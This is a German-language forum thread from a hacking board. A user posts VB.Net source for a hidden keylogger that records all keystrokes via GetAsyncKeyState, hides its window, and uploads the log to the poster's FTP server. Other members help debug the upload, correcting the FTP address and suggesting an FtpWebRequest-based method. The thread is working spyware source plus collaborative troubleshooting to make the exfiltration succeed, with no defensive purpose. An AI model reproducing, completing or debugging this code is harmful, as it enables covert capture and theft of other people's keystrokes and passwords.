VB.Net, Keylogger, Fehlermeldung, brauche Hilfe!

[Breekachu]

Hallo members von free-hack,
ich habe letztens aus langeweile einen keylogger programmiert.
das programm schreibt alle tastaturaktivitäten die der benutzer macht in eine textbox und sendet dann den inhalt der textbox an meinen FTP server.
natürlich ist die textbox unvisible und die form auch.
alles funktioniert eig nur hin und wieder erscheint folgende fehlermeldung:

und ich versetehe einfach nicht warum. könnt ihr mir helfen?
hier ist der code dazu:

Public Class Form1

    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer

    Public Function getkeypress() As Integer

        For i As Integer = 1 To 255
            If GetAsyncKeyState(i) = -32767 Then
                Return i
            End If
        Next i
    End Function

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Timer1.Enabled = True
        Me.Opacity = 0
        TextBox1.Visible = False
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Dim key As Integer = getkeypress()
        If key <> 0 Then

            TextBox1.Text = TextBox1.Text + CStr(Chr(key))
        Else : End If

        If TextBox1.TextLength >= 5 Then
            Timer2.Enabled = True
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

        Dim wcl As New Net.WebClient
        wcl.Credentials = New Net.NetworkCredential("USERNAME", "*****")
        wcl.UploadString("ftp://ftp.USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)
    End Sub
End Class

[Sawyer]

wcl.UploadString("ftp://USERNAME.fu.funpic.de/LOG.txt", TextBox1.Text)

Ich denke das dort ein ftp. zuviel war , kann mich da aber auch irren.

MfG

[Breekachu]

Ich denke das dort ein ftp. zuviel war , kann mich da aber auch irren.

MfG

danke aber wenn man das "ftp://" nicht schreibt dann sendet der nichts.

[Sawyer]

danke aber wenn man das "ftp://" nicht schreibt dann sendet der nichts.

Ich meine auch nicht das ftp , sondern jenes welches in deiner server adresse steht

ftp://ftp.USERNAME.fu.funpic.de/LOG.txt

Das was rot ist entfernen und testen , bei ohost würde dies so funktionieren^^

MfG

[inmate]

Wenn nicht dann benutze einfach ne andere FTP Upload Methode.Gibt ja hier genug in der Section

[phil333]

Versuchs mal mit einem FTPUpload zu lösen mit den integrierten Methoden Dim request As FtpWebRequest = WebRequest.Create("ftp://img.FTP-Hostname.de" & safefilename) request.Method = WebRequestMethods.Ftp.UploadFile request.Credentials = New NetworkCredential("Username", "Passwort") Dann mit request.GetResponse() den stream auslesen und da rein schrieben, fertig.

[Breekachu]

danke für eure antworten ich werd damit jetzt noch mal etwas rumprobieren und lasse es euch wisen wenns geklappt hat